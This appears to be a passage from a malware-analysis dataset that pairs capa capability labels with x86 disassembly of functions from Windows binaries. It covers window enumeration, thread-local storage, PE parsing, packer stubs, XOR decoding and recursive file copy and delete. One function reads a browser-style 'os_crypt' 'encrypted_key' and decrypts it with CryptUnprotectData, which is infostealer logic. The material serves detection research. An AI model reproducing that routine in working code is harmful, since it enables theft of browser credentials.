joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4552b8
Capabilities:
Enumerate gui resources

Disassembly:
push ebx
push esi
add esp, 0xfffffff8
mov ebx, eax
mov eax, dword [0x48dbb0]
cmp dword [eax + 0x30], 0
je 0x455362
cmp dword [ebx + 0x94], 0
jne 0x45535c
mov eax, dword [ebx + 0x30]
mov dword [esp], eax
mov byte [esp + 4], dl
mov eax, esp
push eax
push 0x455248
call sub.user32.dll_EnumWindows
mov eax, dword [ebx + 0x90]
cmp dword [eax + 8], 0
je 0x45535c
push 3
mov eax, dword [esp + 4]
push eax
call sub.user32.dll_GetWindow
mov esi, eax
mov dword [esp], esi
push 0xffffffffffffffec
push esi
call sub.user32.dll_GetWindowLongA
test al, 8
je 0x455322
mov dword [esp], 0xfffffffe
mov eax, dword [ebx + 0x90]
mov esi, dword [eax + 8]
dec esi
cmp esi, 0
jl 0x45535c
push 0x213
push 0
push 0
push 0
push 0
mov eax, dword [esp + 0x14]
push eax
mov edx, esi
mov eax, dword [ebx + 0x90]
call fcn.00414318
push eax
call sub.user32.dll_SetWindowPos
dec esi
cmp esi, 0xffffffff
jne 0x455331
inc dword [ebx + 0x94]
pop ecx
pop edx
pop esi
pop ebx
ret

Function at 0x455ec0
Capabilities:
Get graphical window text

Disassembly:
push ebx
push esi
add esp, 0xffffff00
mov esi, edx
mov ebx, eax
cmp byte [ebx + 0xa4], 0
je 0x455ef5
push pe_nt_image_headers32
lea eax, [esp + 4]
push eax
mov eax, dword [ebx + 0x30]
push eax
call sub.user32.dll_GetWindowTextA
mov ecx, eax
mov edx, esp
mov eax, esi
call fcn.00404408
jmp 0x455f02
mov eax, esi
mov edx, dword [ebx + 0x8c]
call fcn.0040436c
add esp, 0x100
pop esi
pop ebx
ret

Function at 0x4570a4
Capabilities:
Hide graphical window

Disassembly:
push ebx
push esi
mov ebx, eax
mov esi, dword [ebx + 0x84]
test esi, esi
je 0x4570e5
mov eax, esi
call fcn.0043d394
test al, al
je 0x4570e5
mov eax, dword [ebx + 0x84]
call fcn.0043d090
push eax
call sub.user32.dll_IsWindowVisible
test eax, eax
je 0x4570e5
push 0
mov eax, dword [ebx + 0x84]
call fcn.0043d090
push eax
call sub.user32.dll_ShowWindow
pop esi
pop ebx
ret

Function at 0x45a7d0
Capabilities:
Check for software breakpoints

Disassembly:
push ebx
mov ebx, eax
cmp dword [ebx + 0x14], 0xca
jne 0x45a7fe
mov eax, ebx
call fcn.0045b284
cmp dword [ebx + 0x40], 0
je 0x45a7f7
mov dword [ebx + 0x14], 0xcf
mov eax, 1
pop ebx
ret
mov dword [ebx + 0x14], 0xcb
cmp dword [ebx + 0x14], 0xcb
jne 0x45a86f
mov edx, dword [ebx + 0x1b4]
cmp dword [edx + 0x10], 0
je 0x45a861
cmp dword [ebx + 8], 0
je 0x45a820
mov eax, ebx
mov edx, dword [eax + 8]
call dword [edx]
mov eax, ebx
mov edx, dword [eax + 0x1b4]
call dword [edx]
test eax, eax
jne 0x45a832
xor eax, eax
pop ebx
ret
cmp eax, 2
je 0x45a861
cmp dword [ebx + 8], 0
je 0x45a813
cmp eax, 3
je 0x45a845
dec eax
jne 0x45a813
mov edx, dword [ebx + 8]
inc dword [edx + 4]
mov ecx, dword [edx + 4]
mov eax, dword [ebx + 8]
cmp ecx, dword [eax + 8]
jl 0x45a813
mov edx, dword [ebx + 0x140]
add dword [eax + 8], edx
jmp 0x45a813
mov ecx, dword [ebx + 0x90]
mov dword [ebx + 0x98], ecx
jmp 0x45a88d
cmp dword [ebx + 0x14], 0xcc
je 0x45a88d
mov eax, dword [ebx]
mov dword [eax + 0x14], 0x14
mov edx, dword [ebx + 0x14]
mov dword [eax + 0x18], edx
mov eax, ebx
mov edx, dword [eax]
call dword [edx]
mov eax, ebx
call fcn.0045a898
pop ebx
ret
Function at 0x46c2f8
Capabilities:
Check os version

Disassembly:
add esp, 0xffffff6c
mov dword [esp], 0x94
push esp
call sub.KERNEL32.DLL_GetVersionExA
test eax, eax
je 0x46c328
cmp dword [esp + 4], 6
jb 0x46c328
call fcn.00429b58
call fcn.00429c38
test al, al
je 0x46c328
mov al, 1
jmp 0x46c32a
xor eax, eax
add esp, 0x94
ret

Function at 0x46c7b0
Capabilities:
Encode data using base64
Encrypt data using rc4 ksa

Disassembly:
push ebx
push esi
push edi
push ebp
push ecx
mov dword [esp], ecx
mov esi, eax
mov ebp, edx
xor ebx, ebx
xor edi, edi
mov eax, dword [esp]
mov ecx, 3
cdq
idiv ecx
test eax, eax
jle 0x46c84e
xor edx, edx
mov dl, byte [esi + ebx]
shr edx, 2
mov dl, byte [edx + 0x4856f8]
mov byte [ebp + edi], dl
mov dl, byte [esi + ebx]
and dl, 3
and edx, 0xff
shl edx, 4
xor ecx, ecx
mov cl, byte [esi + ebx + 1]
shr ecx, 4
add edx, ecx
mov dl, byte [edx + 0x4856f8]
push edx
pop edx
mov byte [ebp + edi + 1], dl
mov dl, byte [esi + ebx + 1]
and dl, 0xf
and edx, 0xff
shl edx, 2
xor ecx, ecx
mov cl, byte [esi + ebx + 2]
shr ecx, 6
add edx, ecx
mov dl, byte [edx + 0x4856f8]
push edx
pop edx
mov byte [ebp + edi + 2], dl
mov dl, byte [esi + ebx + 2]
and dl, 0x3f
and edx, 0xff
mov dl, byte [edx + 0x4856f8]
mov byte [ebp + edi + 3], dl
add edi, 4
add ebx, 3
dec eax
jne 0x46c7cf
mov eax, dword [esp]
mov ecx, 3
cdq
idiv ecx
dec edx
je 0x46c864
dec edx
je 0x46c899
jmp 0x46c8ea
xor eax, eax
mov al, byte [esi + ebx]
shr eax, 2
mov al, byte [eax + 0x4856f8]
mov byte [ebp + edi], al
mov al, byte [esi + ebx]
and al, 3
and eax, 0xff
shl eax, 4
mov al, byte [eax + 0x4856f8]
mov byte [ebp + edi + 1], al
mov byte [ebp + edi + 2], 0x3d
mov byte [ebp + edi + 3], 0x3d
jmp 0x46c8ea
xor eax, eax
mov al, byte [esi + ebx]
shr eax, 2
mov al, byte [eax + 0x4856f8]
mov byte [ebp + edi], al
mov al, byte [esi + ebx]
and al, 3
and eax, 0xff
shl eax, 4
xor edx, edx
mov dl, byte [esi + ebx + 1]
shr edx, 4
add eax, edx
mov al, byte [eax + 0x4856f8]
mov byte [ebp + edi + 1], al
mov al, byte [esi + ebx + 1]
and al, 0xf
and eax, 0xff
shl eax, 2
mov al, byte [eax + 0x4856f8]
mov byte [ebp + edi + 2], al
mov byte [ebp + edi + 3], 0x3d
mov eax, dword [esp]
add eax, 2
mov ecx, 3
cdq
idiv ecx
shl eax, 2
pop edx
pop ebp
pop edi
pop esi
pop ebx
ret

Function at 0x46d6fc
Capabilities:
Encode data using xor

Disassembly:
push ebx
push esi
push edi
mov esi, ecx
test esi, esi
jbe 0x46d71c
mov ecx, 1
mov ebx, edx
add ebx, ecx
dec ebx
mov bl, byte [ebx]
mov edi, eax
add edi, ecx
dec edi
xor byte [edi], bl
inc ecx
dec esi
jne 0x46d70a
pop edi
pop esi
pop ebx
ret

Function at 0x482454
Capabilities:
Get session user name

Disassembly:
push ebx
add esp, 0xfffffef8
mov ebx, eax
mov dword [esp], 0x101
push esp
lea eax, [esp + 8]
push eax
call sub.advapi32.dll_GetUserNameA
test eax, eax
je 0x482485
mov eax, ebx
lea edx, [esp + 4]
mov ecx, 0x101
call fcn.00404588
jmp 0x48248c
mov eax, ebx
call fcn.00404318
add esp, 0x108
pop ebx
ret
Function at 0x482494
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
push ebx
push esi
push edi
mov ebx, eax
xor eax, eax
push ebp
push 0x4824df
push dword fs:[eax]
mov dword fs:[eax], esp
push 1
push 0
push 0
mov eax, ebx
call fcn.004047d8
push eax
push 0x4824f4
mov eax, dword [0x48c010]
mov eax, dword [eax]
mov eax, dword [eax + 0x30]
push eax
call sub.shell32.dll_ShellExecuteA
cmp eax, 0x20
seta al
mov ebx, eax
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x4824eb
mov eax, ebx
pop edi
pop esi
pop ebx
pop ebp
ret
Function at 0x100061f8
Capabilities:
Parse pe header

Disassembly:
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test eax, eax
je 0x10006237
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x10006237
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x10006237
mov eax, 0x10b
cmp word [ecx + 0x18], ax
jne 0x10006237
cmp dword [ecx + 0x74], 0xe
jbe 0x10006237
cmp dword [ecx + 0xe8], 0
setne al
ret
xor al, al
ret

Function at 0x10008767
Capabilities:
Allocate thread local storage

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x10014ec0
push 0x10014eb8
push str.FlsAlloc
push 0x1f
call fcn.10008683
mov esi, eax
add esp, 0x10
test esi, esi
je 0x1000879b
push dword [ebp + 8]
mov ecx, esi
call dword [0x10012134]
call esi
jmp 0x100087a1
call dword [sym.imp.KERNEL32.dll_TlsAlloc]
pop esi
pop ebp
ret 4

Function at 0x100087e5
Capabilities:
Get thread local storage value

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x10014ed0
push 0x10014ec8
push str.FlsGetValue
push 0x21
call fcn.10008683
mov esi, eax
add esp, 0x10
test esi, esi
je 0x1000881c
push dword [ebp + 8]
mov ecx, esi
call dword [0x10012134]
call esi
pop esi
pop ebp
ret 4
pop esi
pop ebp
jmp dword [sym.imp.KERNEL32.dll_TlsGetValue]

Function at 0x10008824
Capabilities:
Set thread local storage value

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x10014ed8
push 0x10014ed0
push str.FlsSetValue
push 0x22
call fcn.10008683
mov esi, eax
add esp, 0x10
test esi, esi
je 0x1000885e
push dword [ebp + 0xc]
mov ecx, esi
push dword [ebp + 8]
call dword [0x10012134]
call esi
pop esi
pop ebp
ret 8
pop esi
pop ebp
jmp dword [sym.imp.KERNEL32.dll_TlsSetValue]
Function at 0x1000c0af
Capabilities:
Query environment variable

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ecx
push ecx
push esi
call dword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
mov esi, eax
test esi, esi
je 0x1000c14c
push ebx
push esi
call fcn.1000c078
xor ebx, ebx
sub eax, esi
push ebx
push ebx
push ebx
push ebx
sar eax, 1
push eax
push esi
push ebx
push ebx
mov dword [ebp - 8], eax
call fcn.1000b03c
add esp, 0x24
mov dword [ebp - 4], eax
test eax, eax
jne 0x1000c0f9
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
xor eax, eax
jmp 0x1000c14b
push edi
push eax
call fcn.10009b2b
mov edi, eax
pop ecx
push ebx
test edi, edi
jne 0x1000c119
call fcn.10008530
pop ecx
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
xor eax, eax
jmp 0x1000c14a
push ebx
push dword [ebp - 4]
push edi
push dword [ebp - 8]
push esi
push ebx
push ebx
call fcn.1000b03c
add esp, 0x20
test eax, eax
jne 0x1000c138
push edi
call fcn.10008530
jmp 0x1000c140
push ebx
call fcn.10008530
mov ebx, edi
pop ecx
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov eax, ebx
pop edi
pop ebx
pop esi
leave
ret

Function at 0x10010850
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x1001087d
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x1001087d
mov edx, 0x10b
xor eax, eax
cmp word [ecx + 0x18], dx
sete al
pop ebp
ret
xor eax, eax
pop ebp
ret
Function at 0x101f3d30
Capabilities:
Packed with generic packer

Disassembly:
cmp byte [esp + 8], 1
jne 0x101f3f14
pushal
mov esi, 0x1014700d
lea edi, [esi - 0x14600d]
push edi
jmp 0x101f3d5a
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x101f3d61
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x101f3d50
mov eax, 1
add ebx, ebx
jne 0x101f3d73
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0x101f3d84
jne 0x101f3da3
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x101f3da3
dec eax
add ebx, ebx
jne 0x101f3d90
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
jmp 0x101f3d68
add ebx, ebx
jne 0x101f3d9f
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jmp 0x101f3df5
xor ecx, ecx
sub eax, 3
jb 0x101f3dbb
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x101f3e2a
sar eax, 1
mov ebp, eax
jmp 0x101f3dc6
add ebx, ebx
jne 0x101f3dc6
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x101f3d94
inc ecx
add ebx, ebx
jne 0x101f3dd4
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x101f3d94
add ebx, ebx
jne 0x101f3de1
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0x101f3dd6
jne 0x101f3df2
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x101f3dd6
add ecx, 2
cmp ebp, 0xfffffb00
adc ecx, 2
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0x101f3e14
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x101f3e06
jmp 0x101f3d56
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x101f3e14
add edi, ecx
jmp 0x101f3d56
pop esi
mov edi, esi
mov ecx, 0x1bf9
mov al, byte [edi]
inc edi
sub al, 0xe8
cmp al, 1
ja 0x101f3e32
cmp byte [edi], 0x3d
jne 0x101f3e32
mov eax, dword [edi]
mov bl, byte [edi + 4]
shr ax, 8
rol eax, 0x10
xchg ah, al
sub eax, edi
sub bl, 0xe8
add eax, esi
mov dword [edi], eax
add edi, 5
mov al, bl
loop 0x101f3e37
lea edi, [esi + 0x1db000]
mov eax, dword [edi]
or eax, eax
je 0x101f3ea6
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0x1f30e4]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0x1f313c]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0x101f3e64
mov ecx, edi
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0x1f3140]
or eax, eax
je 0x101f3ea0
mov dword [ebx], eax
add ebx, 4
jmp 0x101f3e81
popal
xor eax, eax
ret 0xc
add edi, 4
lea ebx, [esi - 4]
xor eax, eax
mov al, byte [edi]
inc edi
or eax, eax
je 0x101f3ed7
cmp al, 0xef
ja 0x101f3eca
add ebx, eax
mov eax, dword [ebx]
xchg ah, al
rol eax, 0x10
xchg ah, al
add eax, esi
mov dword [ebx], eax
jmp 0x101f3eac
and al, 0xf
shl eax, 0x10
mov ax, word [edi]
add edi, 2
jmp 0x101f3eb9
mov ebp, dword [esi + 0x1f3144]
lea edi, [esi - 0x1000]
mov ebx, 0x1000
push eax
push esp
push 4
push ebx
push edi
call ebp
lea eax, [edi + 0x197]
and byte [eax], 0x7f
and byte [eax + 0x28], 0x7f
pop eax
push eax
push esp
push eax
push ebx
push edi
call ebp
pop eax
popal
lea eax, [esp - 0x80]
push 0
cmp esp, eax
jne 0x101f3f0b
sub esp, 0xffffff80
jmp 0x101300cb
Function at 0x4282a0
Capabilities:
Packed with generic packer

Disassembly:
pushal
mov esi, section.UPX1
lea edi, [esi - 0x17000]
push edi
jmp 0x4282ba
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x4282c1
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x4282b0
mov eax, 1
add ebx, ebx
jne 0x4282d3
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0x4282c8
jne 0x4282e4
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x4282c8
xor ecx, ecx
sub eax, 3
jb 0x4282f8
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x42836a
mov ebp, eax
add ebx, ebx
jne 0x428303
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jne 0x428310
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jne 0x428334
inc ecx
add ebx, ebx
jne 0x428320
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0x428315
jne 0x428331
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x428315
add ecx, 2
cmp ebp, 0xfffff300
adc ecx, 1
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0x428354
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x428345
jmp 0x4282b6
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x428354
add edi, ecx
jmp 0x4282b6
pop esi
mov edi, esi
mov ecx, 0x115
mov al, byte [edi]
inc edi
sub al, 0xe8
cmp al, 1
ja 0x428372
cmp byte [edi], 3
jne 0x428372
mov eax, dword [edi]
mov bl, byte [edi + 4]
shr ax, 8
rol eax, 0x10
xchg ah, al
sub eax, edi
sub bl, 0xe8
add eax, esi
mov dword [edi], eax
add edi, 5
mov al, bl
loop 0x428377
lea edi, [esi + 0x26000]
mov eax, dword [edi]
or eax, eax
je 0x4283e6
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0x28000]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0x280c4]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0x4283a4
mov ecx, edi
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0x280cc]
or eax, eax
je 0x4283e0
mov dword [ebx], eax
add ebx, 4
jmp 0x4283c1
call dword [esi + 0x280c8]
mov ebp, dword [esi + 0x280d0]
lea edi, [esi - 0x1000]
mov ebx, 0x1000
push eax
push esp
push 4
push ebx
push edi
call ebp
lea eax, [edi + 0x1ef]
and byte [eax], 0x7f
and byte [eax + 0x28], 0x7f
pop eax
push eax
push esp
push eax
push ebx
push edi
call ebp
pop eax
popal
lea eax, [esp - 0x80]
push 0
cmp esp, eax
jne 0x42841a
sub esp, 0xffffff80
jmp 0x409ac0

Function at 0x430000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
call 0x43000c
pop eax
nop
nop
nop
nop
nop
add eax, 0x403daa
nop
sub eax, 0x403d50
nop
nop
nop
nop
mov ebx, dword [eax]
nop
nop
mov ecx, dword [eax + 4]
nop
nop
nop
nop
nop
mov edx, dword [eax + 8]
nop
nop
nop
nop
xor dword [ebx], edx
add ebx, 4
nop
nop
nop
nop
nop
cmp ebx, ecx
nop
nop
nop
nop
jl 0x430030
nop
nop
nop
nop
nop
add eax, 0xc
nop
nop
nop
cmp dword [eax], 0
nop
nop
nop
jne 0x43001e
nop
nop
nop
popal
nop
nop
nop
jmp loc.00401219
Function at 0x405ab0
Capabilities:
Copy file
Create directory
Enumerate files on windows
Enumerate files recursively

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x87c
mov eax, dword [section..data]
xor eax, esp
mov dword [esp + 0x878], eax
push ebx
push esi
push edi
mov eax, edx
mov ebx, ecx
push 0
push eax
mov dword [esp + 0x1c], eax
mov dword [esp + 0x18], ebx
call dword [sym.imp.KERNEL32.dll_CreateDirectoryW]
mov esi, dword [sym.imp.USER32.dll_wsprintfW]
lea eax, [esp + 0x678]
push ebx
push str._s.
push eax
call esi
add esp, 0xc
lea eax, [esp + 0x18]
push eax
lea eax, [esp + 0x67c]
push eax
call dword [sym.imp.KERNEL32.dll_FindFirstFileW]
mov edi, eax
cmp edi, 0xffffffff
je 0x405c1d
mov ebx, dword [sym.imp.KERNEL32.dll_CopyFileW]
nop
mov ecx, 0x412f60
lea eax, [esp + 0x44]
nop dword [eax]
mov dx, word [eax]
cmp dx, word [ecx]
jne 0x405b56
test dx, dx
je 0x405b52
mov dx, word [eax + 2]
cmp dx, word [ecx + 2]
jne 0x405b56
add eax, 4
add ecx, 4
test dx, dx
jne 0x405b30
xor eax, eax
jmp 0x405b5b
sbb eax, eax
or eax, 1
test eax, eax
je 0x405c02
mov eax, 0x412f64
lea ecx, [esp + 0x44]
nop dword [eax]
mov dx, word [ecx]
cmp dx, word [eax]
jne 0x405b96
test dx, dx
je 0x405b92
mov dx, word [ecx + 2]
cmp dx, word [eax + 2]
jne 0x405b96
add ecx, 4
add eax, 4
test dx, dx
jne 0x405b70
xor eax, eax
jmp 0x405b9b
sbb eax, eax
or eax, 1
test eax, eax
je 0x405c02
lea eax, [esp + 0x44]
push eax
push dword [esp + 0x14]
lea eax, [esp + 0x478]
push 0x412f6c
push eax
call esi
lea eax, [esp + 0x54]
push eax
push dword [esp + 0x28]
lea eax, [esp + 0x280]
push 0x412f6c
push eax
call esi
add esp, 0x20
test byte [esp + 0x18], 0x10
je 0x405bee
lea edx, [esp + 0x268]
lea ecx, [esp + 0x470]
call fcn.00405ab0
jmp 0x405c02
push 0
lea eax, [esp + 0x26c]
push eax
lea eax, [esp + 0x478]
push eax
call ebx
lea eax, [esp + 0x18]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_FindNextFileW]
test eax, eax
jne 0x405b20
push edi
call dword [sym.imp.KERNEL32.dll_FindClose]
mov ecx, dword [esp + 0x884]
pop edi
pop esi
pop ebx
xor ecx, esp
call fcn.0041083d
mov esp, ebp
pop ebp
ret
Function at 0x405c40
Capabilities:
Delete directory
Delete file
Enumerate files on windows
Enumerate files recursively

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x670
mov eax, dword [section..data]
xor eax, ebp
mov dword [ebp - 8], eax
push ebx
mov ebx, dword [sym.imp.USER32.dll_wsprintfW]
lea eax, [ebp - 0x41c]
push esi
mov esi, dword [ebp + 8]
push edi
push esi
push str._s.
push eax
call ebx
add esp, 0xc
lea eax, [ebp - 0x66c]
push eax
lea eax, [ebp - 0x41c]
push eax
call dword [sym.imp.KERNEL32.dll_FindFirstFileW]
mov edi, eax
cmp edi, 0xffffffff
jne 0x405ca1
xor eax, eax
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 8]
xor ecx, ebp
call fcn.0041083d
mov esp, ebp
pop ebp
ret 4
mov ecx, 0x412f60
lea eax, [ebp - 0x640]
nop dword [eax]
mov dx, word [eax]
cmp dx, word [ecx]
jne 0x405cd6
test dx, dx
je 0x405cd2
mov dx, word [eax + 2]
cmp dx, word [ecx + 2]
jne 0x405cd6
add eax, 4
add ecx, 4
test dx, dx
jne 0x405cb0
xor eax, eax
jmp 0x405cdb
sbb eax, eax
or eax, 1
test eax, eax
je 0x405d55
mov eax, 0x412f64
lea ecx, [ebp - 0x640]
nop word [eax + eax]
mov dx, word [ecx]
cmp dx, word [eax]
jne 0x405d16
test dx, dx
je 0x405d12
mov dx, word [ecx + 2]
cmp dx, word [eax + 2]
jne 0x405d16
add ecx, 4
add eax, 4
test dx, dx
jne 0x405cf0
xor eax, eax
jmp 0x405d1b
sbb eax, eax
or eax, 1
test eax, eax
je 0x405d55
lea eax, [ebp - 0x640]
push eax
push esi
lea eax, [ebp - 0x214]
push 0x412f6c
push eax
call ebx
add esp, 0x10
lea eax, [ebp - 0x214]
test byte [ebp - 0x66c], 0x10
push eax
je 0x405d4f
call fcn.00405c40
jmp 0x405d55
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
lea eax, [ebp - 0x66c]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_FindNextFileW]
test eax, eax
jne 0x405ca1
push edi
call dword [sym.imp.KERNEL32.dll_FindClose]
push esi
call dword [sym.imp.KERNEL32.dll_RemoveDirectoryW]
mov ecx, dword [ebp - 8]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.0041083d
mov esp, ebp
pop ebp
ret 4
Function at 0x405d90
Capabilities:
Decode data using base64 via winapi
Encrypt data using dpapi
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x30
mov eax, dword [section..data]
xor eax, ebp
mov dword [ebp - 8], eax
mov eax, dword [ebp + 8]
push ebx
push esi
push edi
push 0x412f78
push ecx
mov dword [ebp - 0x28], edx
mov dword [ebp - 0x2c], eax
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll__wfopen]
mov esi, dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fseek]
mov ebx, eax
push 2
push 0
push ebx
call esi
add esp, 0x14
push ebx
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_ftell]
add esp, 4
mov edi, eax
push 0
push 0
push ebx
call esi
mov esi, dword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
xor edx, edx
add esp, 0xc
mov ecx, edi
add ecx, 1
setb dl
neg edx
or edx, ecx
push edx
call esi
add esp, 4
mov dword [ebp - 0x24], eax
push ebx
push edi
push 1
push eax
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fread]
push ebx
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fclose]
mov eax, dword [ebp - 0x24]
add esp, 0x14
push 0
push 0
push edi
push eax
mov byte [eax + edi], 0
call sym.aaa.exe__cJSON_ParseWithLengthOpts_16
push 0
mov edx, str.os_crypt
mov dword [ebp - 0x30], eax
mov ecx, eax
call fcn.004030a0
add esp, 4
mov edx, str.encrypted_key
mov ecx, eax
push 1
call fcn.004030a0
add esp, 4
lea ecx, [ebp - 0xc]
xor edi, edi
mov dword [ebp - 0xc], edi
mov eax, dword [eax + 0x10]
push edi
push edi
push ecx
push edi
push 1
push edi
push eax
mov dword [ebp - 0x20], eax
call dword [sym.imp.CRYPT32.dll_CryptStringToBinaryA]
mov ebx, dword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
test eax, eax
je 0x405ea1
push dword [ebp - 0xc]
call esi
mov edi, eax
add esp, 4
test edi, edi
je 0x405ea1
push 0
push 0
lea eax, [ebp - 0xc]
push eax
push edi
push 1
push 0
push dword [ebp - 0x20]
call dword [sym.imp.CRYPT32.dll_CryptStringToBinaryA]
test eax, eax
jne 0x405f2c
push edi
call ebx
add esp, 4
mov esi, dword [ebp - 0x20]
add esi, 0xfffffffb
push esi
call dword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
add esp, 4
mov dword [ebp - 0x20], eax
lea ecx, [edi + 5]
push esi
push ecx
push eax
call sub.VCRUNTIME140.dll_memcpy
add esp, 0xc
mov dword [ebp - 0x1c], esi
mov esi, dword [ebp - 0x20]
lea eax, [ebp - 0x14]
xorps xmm0, xmm0
mov dword [ebp - 0x18], esi
movlpd qword [ebp - 0x14], xmm0
push eax
push 1
push 0
push 0
push 0
push 0
lea eax, [ebp - 0x1c]
push eax
call dword [sym.imp.CRYPT32.dll_CryptUnprotectData]
test eax, eax
je 0x405eff
mov ecx, dword [ebp - 0x28]
mov eax, dword [ebp - 0x10]
mov dword [ecx], eax
mov ecx, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x14]
mov dword [ecx], eax
push edi
call ebx
add esp, 4
push esi
call ebx
add esp, 4
push dword [ebp - 0x30]
call sym.aaa.exe__cJSON_Delete_4
push dword [ebp - 0x24]
call ebx
mov ecx, dword [ebp - 8]
add esp, 4
xor ecx, ebp
pop edi
pop esi
pop ebx
call fcn.0041083d
mov esp, ebp
pop ebp
ret
mov esi, dword [ebp - 0xc]
jmp 0x405ea4
Function at 0x40a2b0
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
push ebx
push esi
push edi
push 0x414440
push edx
mov dword [ebp - 8], ecx
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll__wfopen]
mov edi, eax
add esp, 8
test edi, edi
je 0x40a314
mov esi, dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fseek]
push 2
push 0
push edi
call esi
add esp, 0xc
push edi
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_ftell]
add esp, 4
mov ebx, eax
mov dword [ebp - 4], ebx
push 0
push 0
push edi
call esi
add esp, 0xc
push ebx
call dword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
add esp, 4
mov ebx, eax
push edi
test ebx, ebx
jne 0x40a31d
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fclose]
add esp, 4
xor eax, eax
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
push dword [ebp - 4]
push 1
push ebx
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fread]
push edi
mov esi, eax
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fclose]
mov edi, dword [ebp - 4]
add esp, 0x14
cmp esi, edi
je 0x40a34f
push ebx
call dword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
add esp, 4
xor eax, eax
pop edi
pop esi
pop ebx
mov esp, ebp
